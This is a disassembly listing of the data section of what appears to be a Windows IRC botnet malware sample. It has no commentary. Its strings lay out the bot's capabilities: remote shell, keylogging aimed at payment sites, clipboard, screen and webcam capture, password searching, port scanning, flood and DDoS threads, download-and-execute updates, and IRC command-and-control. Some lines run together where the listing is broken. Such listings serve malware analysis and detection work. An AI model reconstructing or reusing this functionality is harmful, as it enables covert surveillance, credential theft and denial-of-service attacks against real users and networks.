db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunning db 'Already running.',0
align 4
unk_4351B4 db 2 ; DATA XREF: sub_40F6F1+59BFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 64h, 6Bh
db 65h ; e
db 79h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_4351E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5977o
dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh
dword_43520C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_414FA8o
dd 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_43523C dd 7A026E02h, 201F6D1Fh, 646D6328h db 2Eh
byte_435249 db 70h, 1Fh, 6Ch ; DATA XREF: ___:off_424C74o
dd 2029671Fh, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_435274 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5896o
dd 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_4352AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5880o
dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h
dd 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40F6F1+5856o
align 4
unk_4352EC db 2 ; DATA XREF: sub_40F6F1:loc_414F37o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_435328 db 2 ; DATA XREF: sub_40F6F1+582Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_43535C db 2 ; DATA XREF: sub_40F6F1:loc_414F0Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_435398 db 2 ; DATA XREF: sub_40F6F1:loc_414F05o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_4353D4 db 2 ; DATA XREF: sub_40F6F1+580Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_435408 db 2 ; DATA XREF: sub_40F6F1+57A5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
unk_435450 db 2 ; DATA XREF: sub_40F6F1+5626o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_11 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_435498 db 2 ; DATA XREF: sub_40F6F1+54F7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyRunni_0 db ' Already running.',0
unk_4354C4 db 2 ; DATA XREF: sub_40F6F1+54DBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start search thread, error: <%d>.',0
unk_435510 db 2 ; DATA XREF: sub_40F6F1+545Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForPa db ' Searching for password.',0
unk_435548 db 2 ; DATA XREF: sub_40F6F1+5378o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
dword_4355C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5143o
dd 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_4355F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+512Ao
dd 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_435624 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+510Ao
dd 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_435654 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+50F1o
dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h
dword_43567C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_414764o
dd 2029671Fh, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_4356B8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1+506Co
dd 2029671Fh, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_4356EC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_414717o
dd 2029671Fh, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_435724 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40F6F1+501Co
dd 2029671Fh, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40F6F1+5002o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+4F77o
; sub_40F6F1:loc_41550Bo
align 10h
dword_435770 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4EEFo
dd 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_4357A4 db 3 ; DATA XREF: sub_40F6F1:loc_4145CBo
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0
align 4
unk_4357E8 db 3 ; DATA XREF: sub_40F6F1+4ED0o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5FileOpenedS db '5 File opened: %s',0
align 4
dword_435824 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4EA7o
dd 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_435858 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_414549o
dd 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 10h
dword_435890 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4E2Do
dd 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
unk_4358BC db 2 ; DATA XREF: sub_40F6F1:loc_4144EAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTermin db 'Failed to terminate process: %s',0
unk_4358FC db 2 ; DATA XREF: sub_40F6F1+4DEFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledS db 'Process killed: %s',0
align 10h
unk_435930 db 2 ; DATA XREF: sub_40F6F1:loc_41448Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTerm_0 db 'Failed to terminate process ID: %s',0
align 4
unk_435974 db 2 ; DATA XREF: sub_40F6F1+4D92o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledI db 'Process killed ID: %s',0
align 4
dword_4359AC dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40F6F1+4D51o
dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h
dd 0
dword_4359D8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4CCCo
dd 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_435A0C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40F6F1+4C5Ao
dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_435A30 db 2 ; DATA XREF: sub_40F6F1+4C3Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0
dword_435A7C dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40F6F1+4BD0o
dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0
dword_435AA4 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40F6F1:loc_414252o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h
dd 0
unk_435AD0 db 2 ; DATA XREF: sub_40F6F1+4B57o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 69h, 72h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_435AFC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4B26o
dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h
dword_435B24 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4B1Bo
dd 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 10h
dword_435B60 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4ACCo
dd 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 10h
dword_435B90 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4AB8o
dd 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
a_n_z_m_Keylo_4 db '.n.z.m. (keylog.p.l.g) .»». Unknow mode type.',0
; DATA XREF: sub_40F6F1:loc_414138o
align 4
a_n_z_m_Keylo_3 db '.n.z.m. (keylog.p.l.g) .»». Failed to start logging thread, erro'
; DATA XREF: sub_40F6F1+4A3Do
db 'r: <%d>.',0
align 10h
a_n_z_m_Keylo_2 db '.n.z.m. (keylog.p.l.g) .»». Normal key logger active.',0
; DATA XREF: sub_40F6F1+49C5o
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_40F6F1+4978o
align 10h
a_n_z_m_Keylo_1 db '.n.z.m. (keylog.p.l.g) .»». Pay sites key logger active.',0
; DATA XREF: sub_40F6F1+4970o
align 4
aPay db 'pay',0 ; DATA XREF: sub_40F6F1+4911o
a_n_z_m_Keylo_0 db '.n.z.m. (keylog.p.l.g) .»». Already running.',0
; DATA XREF: sub_40F6F1+48F1o
align 10h
a_n_z_m_Keylog_ db '.n.z.m. (keylog.p.l.g) .»».',0 ; DATA XREF: sub_40F6F1+48CCo
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_40F6F1+48C7o
align 4
dword_435D14 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413FABo
dd 2029671Fh, 2BBBB02h
aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0
dword_435D60 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413FA1o
dd 2029671Fh, 2BBBB02h
aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0
align 10h
dword_435DB0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1+48A6o
dd 2029671Fh, 2BBBB02h
aAmateurVideoSa db ' Amateur video saved to: %s.',0
align 4
dword_435DEC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413EFFo
dd 2029671Fh, 2BBBB02h
aInvalidParam_1 db ' Invalid parameters for webcam capture.',0
align 4
dword_435E34 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413EF8o
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0 db ' Error while capturing from webcam.',0
align 4
dword_435E78 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1+47F7o
dd 2029671Fh, 2BBBB02h
aWebcamCaptureS db ' Webcam capture saved to: %s.',0
align 4
aFrame db 'frame',0 ; DATA XREF: sub_40F6F1:loc_413E6Co
align 4
dword_435EBC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1+476Eo
dd 2029671Fh, 2BBBB02h
aDriverListComp db ' Driver list complete.',0
dword_435EF0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1+4738o
dd 2029671Fh, 2BBBB02h
aDriverDSS_ db ' Driver #%d - %s - %s.',0
aDrivers db 'drivers',0 ; DATA XREF: sub_40F6F1:loc_413DD5o
dword_435F2C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413DC2o
dd 2029671Fh, 2BBBB02h
aNoFilenameSpec db ' No filename specified for screen capture.',0
dword_435F74 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1:loc_413DBBo
dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1 db ' Error while capturing screen.',0
dword_435FB0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
; DATA XREF: sub_40F6F1+46BAo
dd 2029671Fh, 2BBBB02h
aScreenCaptureS db ' Screen capture saved to: %s.',0
align 4
aScreen db 'screen',0 ; DATA XREF: sub_40F6F1:loc_413D72o
align 4
dword_435FF4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4663o
dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h
dword_43601C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4628o
dd 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_43605C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+460Co
dd 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 10h
dword_436090 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+458Do
dd 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_4360BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4552o
dd 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_4360E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+44FCo
dd 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_436114 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+4494o
dd 2BBBB02h, 79432020h, 2E656C63h, 0
dword_436138 dd 54524150h, 0D732520h, 0Ah ; sub_40F6F1+50FCo
dword_436144 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+442Bo
dd 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 10h
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+441Do
align 4
dword_43617C dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40F6F1+43F4o
dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h
dd 73h
dword_4361A8 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40F6F1+4389o
dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h
dd 7325h
dword_4361D4 dd 45444F4Dh, 732520hdword_4361DC dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
; DATA XREF: sub_40F6F1+42FFo
dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h
dd 7325h
dword_436208 dd 4B43494Eh, 732520h ; sub_40F6F1+4F43o
dword_436210 dd 4E494F4Ah, 20732520h, 7325hdword_43621C dd 54524150h, 732520hdword_436224 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_4138FEo
dd 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_436268 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+41D6o
dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40F6F1+4185o
align 4
dword_436298 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_41382Eo
dd 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_4362BC dd 25207325h, 73252073h, 73253A20h, 0 ; sub_40F6F1+41B0o ...
unk_4362CC db 2 ; DATA XREF: sub_40F6F1:loc_41379Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_436320 db 2 ; DATA XREF: sub_40F6F1+40A2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_43636C db 2 ; DATA XREF: sub_40F6F1+4033o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40F6F1+3F8Do
align 4
dword_4363B4 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40F6F1+3F2Bo
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h
unk_4363DC db 2 ; DATA XREF: sub_40F6F1+3F20o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 65h, 78h, 65h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 10h
unk_436410 db 2 ; DATA XREF: sub_40F6F1+3E98o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_43645C db 2 ; DATA XREF: sub_40F6F1+3E1Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_43649C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40F6F1:loc_413471o
; sub_40F6F1:loc_414449o
dd 0BBBB0220h, 2002h
unk_4364B8 db 2 ; DATA XREF: sub_40F6F1+3D68o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_4364EC db 2 ; DATA XREF: sub_40F6F1:loc_413437o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_436534 db 2 ; DATA XREF: sub_40F6F1+3D3Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_43657C db 2 ; DATA XREF: sub_40F6F1+3CC2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_4365B8 db 2 ; DATA XREF: sub_40F6F1+3C4Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0
unk_436600 db 2 ; DATA XREF: sub_40F6F1+3BDCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 10h
unk_436640 db 2 ; DATA XREF: sub_40F6F1+3B60o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_436688 db 2 ; DATA XREF: sub_40F6F1+3AE8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
